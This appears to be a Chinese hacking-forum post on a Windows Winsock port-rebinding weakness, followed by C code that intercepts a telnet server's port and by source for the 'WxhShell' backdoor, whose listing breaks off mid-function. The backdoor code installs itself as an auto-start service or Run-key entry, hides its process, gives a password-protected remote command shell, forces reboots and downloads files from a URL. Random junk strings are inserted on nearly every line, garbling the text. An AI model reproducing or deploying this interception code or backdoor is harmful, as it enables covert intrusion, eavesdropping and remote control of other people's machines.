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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q 3y;$"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ts8+V<g  
ymNnkFv  
  saddr.sin_family = AF_INET; NVl [kw  
M BXBog7U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XJ Iv1s\g  
.&x}NYX4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `~W-Xx  
ez9 q7SpA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h?$T!D>  
Rtjqx6-B;  
  这意味着什么?意味着可以进行如下的攻击: E[^ {w  
M1%Dg'}G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mP(kcMT "  
0n/gd"M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UG<79"\i  
 ]@M5&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /o2P+Xr8"  
8x[YZ@iM-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /NFz4h =>  
0=="^t_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c1xrn4f@a  
vhb)2n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x{&w?ng  
1HPx|nmE]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 leCVK.  
_0 m\[t.  
  #include PG]%Bv57  
  #include Gx 72  
  #include U #~;)fZ  
  #include    :>81BuMvg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   b,IocD6v;P  
  int main() .{S8f#p9T  
  { Tb1U^E:  
  WORD wVersionRequested; wap3Kd>MP  
  DWORD ret; _e7-zg$/  
  WSADATA wsaData; [qoXMuC|P  
  BOOL val; dgo3'ZO  
  SOCKADDR_IN saddr; 2:LHy[{5  
  SOCKADDR_IN scaddr; _qWliw:0#  
  int err; Gc$gJnQio  
  SOCKET s; WX4;l(P L=  
  SOCKET sc; x3zj ?-  
  int caddsize; D\H/   
  HANDLE mt; ayBRWT0  
  DWORD tid;   AE@NOM7u  
  wVersionRequested = MAKEWORD( 2, 2 ); Urgtg37  
  err = WSAStartup( wVersionRequested, &wsaData ); >5 b/or  
  if ( err != 0 ) { 5IKL#V `3a  
  printf("error!WSAStartup failed!\n"); 5#E |R  
  return -1; wJlX4cT4YV  
  } pN&c(=If  
  saddr.sin_family = AF_INET; m~'? /!!  
   Yh)Isg|0>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :L 3&FA   
sFDG)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W~Z<1[  
  saddr.sin_port = htons(23); a83g\c5   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <*EZ@XoN>  
  { n$(p-po  
  printf("error!socket failed!\n"); b|5w]<?'  
  return -1; auWXgkwZs/  
  } |7@O( $b  
  val = TRUE; AddeaB5<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ejXMKPE;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *U#m+@\0  
  { ~3RC>8*Qw  
  printf("error!setsockopt failed!\n"); ]Zf6Yw.Y  
  return -1; mNYl@+:psj  
  } 0L^u2HZYL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; aJqeD'\>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KTEZ4K^o=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ggb |Ew  
3CE[(   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a8AYcE b  
  { yA[({2%  
  ret=GetLastError(); x&A vUJ  
  printf("error!bind failed!\n"); y]e>E  
  return -1; =xianQ<lK  
  } M|i o4+sy  
  listen(s,2); l =IeJh  
  while(1) y}08~L?2  
  { 1t9.fEmT  
  caddsize = sizeof(scaddr); l|V;Ys5f  
  //接受连接请求 ,LOQDIyn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N]YtLa,t  
  if(sc!=INVALID_SOCKET) Jg$xO@.  
  { _;RVe"tR#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {I{:GcS  
  if(mt==NULL) ,572n[-q  
  { X%9*O[6{  
  printf("Thread Creat Failed!\n"); XUV!C 7  
  break; i.1U|Pi  
  } uENdI2EY8y  
  } M*pRv  
  CloseHandle(mt); e1q"AOV6  
  } /Y^8SO4  
  closesocket(s); |vFj*XU  
  WSACleanup(); }vt%R.u  
  return 0; v0l_w  
  }   G&f7+e  
  DWORD WINAPI ClientThread(LPVOID lpParam) YH:8<O,{-  
  { FnHi(S|A  
  SOCKET ss = (SOCKET)lpParam; $A<ESfrs  
  SOCKET sc; AK u_~bTk  
  unsigned char buf[4096]; )fU(AXSP  
  SOCKADDR_IN saddr; &GWkq>  
  long num; 'b"TH^\  
  DWORD val; P(omfD4  
  DWORD ret; `xKFqx:e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _2vd`k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   IJU0[EA]F  
  saddr.sin_family = AF_INET; `&$B3)Eb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l)+:4N?iVv  
  saddr.sin_port = htons(23); .>6 Wv0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z$KV&.=+  
  { #< CIFVH  
  printf("error!socket failed!\n"); BC\S/5~k  
  return -1; l!IKUzt)7  
  } \.s`n2.w  
  val = 100; ,R wfp=*E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gmSQcN)  
  { ,7d|O}B  
  ret = GetLastError(); o`r(`6@  
  return -1; G { mC7@  
  } v vE\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `3iQZu i  
  { ?n'O Fpd  
  ret = GetLastError(); %kU'hzLg  
  return -1; PoD^`()FR{  
  } '=cKU0 G#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X,v4d~>]  
  { 2RppP?M!  
  printf("error!socket connect failed!\n"); V{Q kN7-  
  closesocket(sc); NyPd5m:  
  closesocket(ss); %c6E-4b  
  return -1; "<l<& qp  
  } G5'_a$  
  while(1) ]7qiUdxt:  
  { fUcLfnr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )fh0&Y; R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 et$uP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .]76!(fWZ  
  num = recv(ss,buf,4096,0); =ak7ld A=2  
  if(num>0) Rs$5PdH  
  send(sc,buf,num,0); (a{ZJI8_  
  else if(num==0) >xd<YwXZ  
  break; =l`OHTg  
  num = recv(sc,buf,4096,0); W8aU "_  
  if(num>0) RazBc.o<  
  send(ss,buf,num,0); {K7YTLWY  
  else if(num==0) 0rzVy/Z(  
  break; xFsmf<Vm  
  } .RRlUWu  
  closesocket(ss); [!?wyv3  
  closesocket(sc); :):zNn_>`  
  return 0 ; XT||M)#  
  } D[>W{g $  
g#W_S?  
3eg5oAZ)G8  
========================================================== W (& 6  
9 qH[o?]  
下边附上一个代码,,WXhSHELL +{rJ[J/g  
am:.NG+  
========================================================== 5}a"?5J^  
\f"?Tv-C'  
#include "stdafx.h" N8+P  
,k*F`.[  
#include <stdio.h> 4MX7=!E  
#include <string.h> !A[S6-18%-  
#include <windows.h> c#\-%h  
#include <winsock2.h> a c6*v49  
#include <winsvc.h> ~Fx&)kegTo  
#include <urlmon.h> iVeQ]k(u  
4r*Pa(;y  
#pragma comment (lib, "Ws2_32.lib") 6ojo##j  
#pragma comment (lib, "urlmon.lib") Kpg:yrc['  
oBw}hH,hp  
#define MAX_USER   100 // 最大客户端连接数 n>llSK  
#define BUF_SOCK   200 // sock buffer +"L$ed(=nJ  
#define KEY_BUFF   255 // 输入 buffer 0>Fqx{!heq  
Vj!WaN_  
#define REBOOT     0   // 重启 %N{sD[^  
#define SHUTDOWN   1   // 关机 QGPR.<D)B  
!0dX@V'r  
#define DEF_PORT   5000 // 监听端口 K^ 6+Ily  
v>at/ef  
#define REG_LEN     16   // 注册表键长度 v*L '{3f  
#define SVC_LEN     80   // NT服务名长度 Ed=}PrE  
& s-VSu7  
// 从dll定义API $,P\)</ VR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =>YvA>izE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /c^e& D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T~:_}J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GYqJ!,  
r{V.jZ%p'Z  
// wxhshell配置信息 h[H%:743  
struct WSCFG { *8206[y  
  int ws_port;         // 监听端口 KW>VOW<.  
  char ws_passstr[REG_LEN]; // 口令 "%kG RHq  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5&qY3@I7l  
  char ws_regname[REG_LEN]; // 注册表键名 3M$X:$b  
  char ws_svcname[REG_LEN]; // 服务名 6UI>GQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B"[{]GP BY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bm6hZA|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N ^f}ui i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no > Z++^YVE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .Qk{5=l6P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *+~D+_,  
^;64!BaK  
}; h60\ Y 8  
IQoH@l&Xk  
// default Wxhshell configuration sU*3\  
struct WSCFG wscfg={DEF_PORT, LJ l1v  
    "xuhuanlingzhe", =~$U^IsWA  
    1, /h-6CR Ka  
    "Wxhshell", 5m 3'Gt4  
    "Wxhshell", /Tcb\:`9  
            "WxhShell Service", '^B3pR:  
    "Wrsky Windows CmdShell Service", 1<ehV VP   
    "Please Input Your Password: ", zP|*(*  
  1, =g[H]-Ee  
  "http://www.wrsky.com/wxhshell.exe", {]@Qu"M  
  "Wxhshell.exe" -3`Isv  
    }; &%}6q]e  
X?kPi&ru  
// 消息定义模块 IrUi E q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <>&89E%j'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xBt<Yt"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `rq<jtf+  
char *msg_ws_ext="\n\rExit."; ,0.|P`|w  
char *msg_ws_end="\n\rQuit."; iBS0rT_  
char *msg_ws_boot="\n\rReboot..."; 1>yha j(K  
char *msg_ws_poff="\n\rShutdown..."; taixBNv  
char *msg_ws_down="\n\rSave to "; -Y2&A$cM  
v0u\xX[H;  
char *msg_ws_err="\n\rErr!"; !`Xt8q\r  
char *msg_ws_ok="\n\rOK!"; h^v9|~ZJ'7  
hOl=W |)v  
char ExeFile[MAX_PATH]; !4L#$VG  
int nUser = 0; 6yp+h  
HANDLE handles[MAX_USER]; W'd/dKU x  
int OsIsNt; oX#9RW/ >I  
-P*xyI  
SERVICE_STATUS       serviceStatus; +&?'KZ+Z_v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FQQ@kP$.  
`TAcZl=8  
// 函数声明 6l<1A$BQ  
int Install(void); I=K[SY,]9  
int Uninstall(void); L[1d&d!p  
int DownloadFile(char *sURL, SOCKET wsh); OAY8,C=M  
int Boot(int flag); uH0#rgKt  
void HideProc(void); E2-ojL[6  
int GetOsVer(void); $u&|[vcP0  
int Wxhshell(SOCKET wsl); &1 oaZY w  
void TalkWithClient(void *cs); o;*]1  
int CmdShell(SOCKET sock); %OuX`w=  
int StartFromService(void); 98jD"*W5  
int StartWxhshell(LPSTR lpCmdLine); .r(^h/IF  
G~O" /WM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2[XltjO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `|uoqKv  
~DK F%}E  
// 数据结构和表定义 }]tFz}E\  
SERVICE_TABLE_ENTRY DispatchTable[] = Bmmb  
{ ::0aY ;D2  
{wscfg.ws_svcname, NTServiceMain}, #fO*ROe  
{NULL, NULL} hzW{_Q.|?  
}; H 'D#s;SlR  
BQE{  
// 自我安装 .Dc28F~t  
int Install(void) yW[L,N7d  
{ _jiQL66pY  
  char svExeFile[MAX_PATH]; m\/>C|f\  
  HKEY key; `3]Rg0g&Xe  
  strcpy(svExeFile,ExeFile); tx gvVQ  
$R8>u#K!  
// 如果是win9x系统,修改注册表设为自启动 <&KLo>B^  
if(!OsIsNt) { /cM 5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q +R3H,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U2VV[e)Z!  
  RegCloseKey(key); >pN;J)H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  7N!tp,?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _w\Y{(k  
  RegCloseKey(key); 10/x'#(  
  return 0; Q%+ }  
    } id3)6}  
  } ^}>zYt  
} q^)=F_QvG  
else { -*rHB&e  
b{zAJ`|#[n  
// 如果是NT以上系统,安装为系统服务 ?rky6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]Jja  
if (schSCManager!=0) IkiQ Ok  
{ !T)T_P[  
  SC_HANDLE schService = CreateService Ng?apaIi@~  
  ( a$~IQ2$|6  
  schSCManager, n9N#&Q"7m  
  wscfg.ws_svcname, $+A%ODv  
  wscfg.ws_svcdisp, a|8| @,  
  SERVICE_ALL_ACCESS, ,LoMt ]H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &b 5T&-C<  
  SERVICE_AUTO_START, vYYS .ve  
  SERVICE_ERROR_NORMAL, dK[*  
  svExeFile, _{[k[]  
  NULL, MV% :ES?  
  NULL, M ' a&  
  NULL, '2 w XV;`  
  NULL, ,}eRnl\  
  NULL sM #!Xl;  
  ); V h Z=,m  
  if (schService!=0) ;r gH}r  
  { x-w`KFS  
  CloseServiceHandle(schService); j2< !z;2  
  CloseServiceHandle(schSCManager); eo>/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dCa}ITg  
  strcat(svExeFile,wscfg.ws_svcname); [q|?f?Zl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :D<:N*9i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Oqd"0Qt-  
  RegCloseKey(key); HyZVr2  
  return 0; x{=[w`  
    } ERUs0na]  
  } ;% /6Y~/  
  CloseServiceHandle(schSCManager); q"{Up  
} !w @1!Xpn1  
} =Jsg{vI  
<$RS*n  
return 1; _8,vk-,'  
} I{`KKui<M  
PN1(j|  
// 自我卸载 5%2ef{T[  
int Uninstall(void) -}=@ *See#  
{ _fVh%_oH1  
  HKEY key; )?!vJb"  
MV Hz$hyB  
if(!OsIsNt) { YRg=yVo 2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V}vl2o  
  RegDeleteValue(key,wscfg.ws_regname); +^/Nil  
  RegCloseKey(key); H.jLGe>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :5TXA  
  RegDeleteValue(key,wscfg.ws_regname); ~a|^?7@p  
  RegCloseKey(key); ZAI1p+  
  return 0; 2neF<H?^o  
  } >P<k[vF  
} Ymwx (Pm  
} kS@9c _3S  
else { I>A^5nk  
`f\5p+!<7R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =XZF.ur  
if (schSCManager!=0) R=][>\7]}  
{ ;FV~q{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !L &=?CX  
  if (schService!=0) Zp/qs z(]  
  { t!J";l  
  if(DeleteService(schService)!=0) { Uq9,(tV`6g  
  CloseServiceHandle(schService); 8L]gQ g  
  CloseServiceHandle(schSCManager); {B'Gm]4  
  return 0; &,m'sQ  
  } xTa4.ZXg  
  CloseServiceHandle(schService); "o\6k"_c>  
  } ^BF@j4*~  
  CloseServiceHandle(schSCManager); 0C7thl{Dms  
} ;']vY  
} .fio<mqi  
n4ds;N3Hd  
return 1; X";QA":  
} iFAoAw(  
377j3dP  
// 从指定url下载文件 \j,v/C@c-  
int DownloadFile(char *sURL, SOCKET wsh) 0Zc*YdH  
{ v`z=OHc  
  HRESULT hr; z4%Z6Y  
char seps[]= "/"; 1A|x$j6m  
char *token; /7UovKKbz  
char *file; "<cB73tY  
char myURL[MAX_PATH]; ~)! V8  
char myFILE[MAX_PATH]; )z ?&" I  
902!M65[rG  
strcpy(myURL,sURL); +Op%,,Db  
  token=strtok(myURL,seps); >)AE |j`  
  while(token!=NULL) vSyi}5D  
  { NPB,q& Th  
    file=token; 8I5VrT  
  token=strtok(NULL,seps); |1_$! p  
  } w*&n(zJF>  
'T&=$9g7  
GetCurrentDirectory(MAX_PATH,myFILE); ? e9XVQ*  
strcat(myFILE, "\\"); P+*rWJ8gQ  
strcat(myFILE, file); y]z)jqX<  
  send(wsh,myFILE,strlen(myFILE),0); ?1-n\ka  
send(wsh,"...",3,0); ="#:=i]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y\z^\k  
  if(hr==S_OK) ,p[\fT($]  
return 0; \,@Yl.,+  
else V'HlAQr  
return 1; #VQGN2bK.  
'-nuH;r  
} Ovaj":L  
3]:p!Y`$  
// 系统电源模块 By51dk 7  
int Boot(int flag) S5*~r@8h  
{ *0Wi^f  
  HANDLE hToken; T>%uRK$  
  TOKEN_PRIVILEGES tkp; 0%A(dJA6  
Qq;m"M/  
  if(OsIsNt) { wB1|r{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U&Sbm~Qi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K=!ZI/+ju  
    tkp.PrivilegeCount = 1; 2-c U -i4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8 ACY uN\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HdY3DdC%q  
if(flag==REBOOT) { !SO$k%b}!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j &0fC!k  
  return 0; =E"kv!e   
} |`q)/ 08b  
else { Ul$X%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =}%#$  
  return 0; pb/{ss+  
} ZVL- o<6  
  } 0w'y#U)&8  
  else { }0Kqy;  
if(flag==REBOOT) { :YRzI(4J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U!;aM*67  
  return 0; .qqb> 7|q  
} \ ]kb&Qw  
else { bzj!d|T`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  f>wW}-  
  return 0; #v~S",*.f  
} z`xz~9a<  
} "j.oR}s9?#  
XTi0,e]5{u  
return 1; $3]E8t  
} "zeJ4f  
oQ-|\?{;A  
// win9x进程隐藏模块 hD6ur=G8u  
void HideProc(void) Jc"$p\ $-  
{ 11@2;vw  
LjH&f 4mY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qV,$bw  
  if ( hKernel != NULL ) y 8d`},  
  { GmmT'3Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ku[=QsMv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X>@.-{6T  
    FreeLibrary(hKernel); iu6WGm R  
  }  Z@.ol Y  
}ygbgyLa  
return; TgQ|T57  
} ,# jOf{L*  
N?mY|x\}wK  
// 获取操作系统版本 pRxlvVt  
int GetOsVer(void) Q,,fDBN  
{ -MHX1`P:Sn  
  OSVERSIONINFO winfo; ]/V Iff  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S] K6qY  
  GetVersionEx(&winfo); X_tW#`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o+)LcoP u  
  return 1; (;Q <@PZg  
  else &6|^~(P?  
  return 0; {HRxyAI!  
} dl7p1Cr  
*F8 uu.  
// 客户端句柄模块 C!/8e (!N  
int Wxhshell(SOCKET wsl) `i>B|g-  
{ Z_OqXo=  
  SOCKET wsh; 9h,yb4jPP  
  struct sockaddr_in client; v4k=NH+w  
  DWORD myID; :DX/r  
[[66[;  
  while(nUser<MAX_USER) t6L^ #\'  
{ [@. jL0>  
  int nSize=sizeof(client); .k:&&sAz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {z[HNSyRs  
  if(wsh==INVALID_SOCKET) return 1; ukDH@/  
Alk* "p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YI),q.3X~  
if(handles[nUser]==0) 9 <kkzy  
  closesocket(wsh); %yuIXOJ  
else W}e[.iX;  
  nUser++; c;~Llj P  
  } A^Hp#b @  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9 K /  
%wjU^Urya  
  return 0; TNPGw!  
} a+a%}76N  
>A'!T'"~  
// 关闭 socket m1$P3tZPn  
void CloseIt(SOCKET wsh) VzYP:QRz  
{ 4;c_%=cU  
closesocket(wsh); S5pP"&I[  
nUser--; u, SX`6%  
ExitThread(0); yA>p[F  
} knK=ENf;e  
;'18  
// 客户端请求句柄 1\608~ZH  
void TalkWithClient(void *cs) k}0  
{ ={i&F  
M"$RtS|h  
  SOCKET wsh=(SOCKET)cs; ]MA)=' ~  
  char pwd[SVC_LEN]; TcKKI  
  char cmd[KEY_BUFF]; 7E6?)bgh  
char chr[1]; 2,e|,N"zN  
int i,j; |xgCV@  
8H`l"  
  while (nUser < MAX_USER) { j&G~;(DY  
)J6b:W  
if(wscfg.ws_passstr) { fi4/@tV?$L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); % /4_|@<'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J%[N-  
  //ZeroMemory(pwd,KEY_BUFF); T#^6u)  
      i=0; }9Dv\"t5  
  while(i<SVC_LEN) {  B3+WOf5W  
,l? 76g  
  // 设置超时 cp?P@-  
  fd_set FdRead; >93{=+  
  struct timeval TimeOut; qF6%XKbh=  
  FD_ZERO(&FdRead); =cKk3kJC  
  FD_SET(wsh,&FdRead); Sl<-)a:  
  TimeOut.tv_sec=8; [Z G j7  
  TimeOut.tv_usec=0; !zJ67-G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ];}|h|q/{}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /sC[5G%  
ZG[0rvW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Joo)GIB  
  pwd=chr[0]; "yq;{AGOGl  
  if(chr[0]==0xd || chr[0]==0xa) { \w_[tPz}  
  pwd=0; >E,L"&_j  
  break; BHE =Zo  
  } >]|^ Ux,WZ  
  i++; dvWlx]'  
    } __n"DLW  
n|,Vm@zV  
  // 如果是非法用户,关闭 socket HY|SLk/E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,Y5 4(>>%  
} #<>E+r+  
zr9Pm6Rl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &E '>+6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fU~y481 A  
S_-mmzC(  
while(1) { _,?HrL9  
6)<oO(  
  ZeroMemory(cmd,KEY_BUFF); -Izg&u &  
jW$f(qAbm  
      // 自动支持客户端 telnet标准   hgr ,v"  
  j=0; z'K7J'(R  
  while(j<KEY_BUFF) { G}xBYc0b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N)y;owgo  
  cmd[j]=chr[0]; l YA+k5  
  if(chr[0]==0xa || chr[0]==0xd) { %|* y/m  
  cmd[j]=0; #YVDOR{z  
  break; cCKda3v!O  
  } R#bV/7Ol  
  j++; 0H]9$D  
    } v=WDs#"  
M_ cb(=ey  
  // 下载文件 `l0icfy  
  if(strstr(cmd,"http://")) { GeT CN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +hhbp'%  
  if(DownloadFile(cmd,wsh)) e14 Q\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I}0 -  
  else um;U;%?Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pG=zGx4  
  } s"F,=]HQ!G  
  else { oqo8{hrdHk  
)4~XZt1r  
    switch(cmd[0]) { Jpnp'  
  Y k6WSurw  
  // 帮助 RXvcy<  
  case '?': { H$iMP.AK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \/%Q PE8  
    break; WW@"75t  
  } N5]68Fu'({  
  // 安装 `fVA. %  
  case 'i': { (P] ^5D  
    if(Install()) V"p*Jd"w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B>L^XGq  
    else Z{)|w=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2YEn)A@8  
    break; . k DCcnm  
    } jo:p*Q "F  
  // 卸载 bbA<Zp  
  case 'r': { j*\MUR=  
    if(Uninstall()) yG_.|%e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GDe$p;#"9g  
    else >%A=b}VS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y{{,62D  
    break; l%w|f`B:  
    } *Y>'v%  
  // 显示 wxhshell 所在路径 fkG"72 95A  
  case 'p': { L7="!I  
    char svExeFile[MAX_PATH]; !aoO,P#j  
    strcpy(svExeFile,"\n\r"); [vJosbU;  
      strcat(svExeFile,ExeFile); TK1M mL  
        send(wsh,svExeFile,strlen(svExeFile),0); 5Z0x2 jV  
    break; w8zQDPVB%  
    } :{imRa-  
  // 重启 #f@53Pxb  
  case 'b': { sA j$U^Gp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1x 8]&  
    if(Boot(REBOOT)) :udZfA\sW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "q8 'tN><  
    else { duTSU9  
    closesocket(wsh); y!Eh /KD  
    ExitThread(0); ld0WZj  
    } sbb{VV`I  
    break; FpYoCyD}  
    } I!%@|[ Ow  
  // 关机 &$ 9bC 't6  
  case 'd': {  n6dg   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \Bf{/r5x  
    if(Boot(SHUTDOWN)) ON^u|*kO  
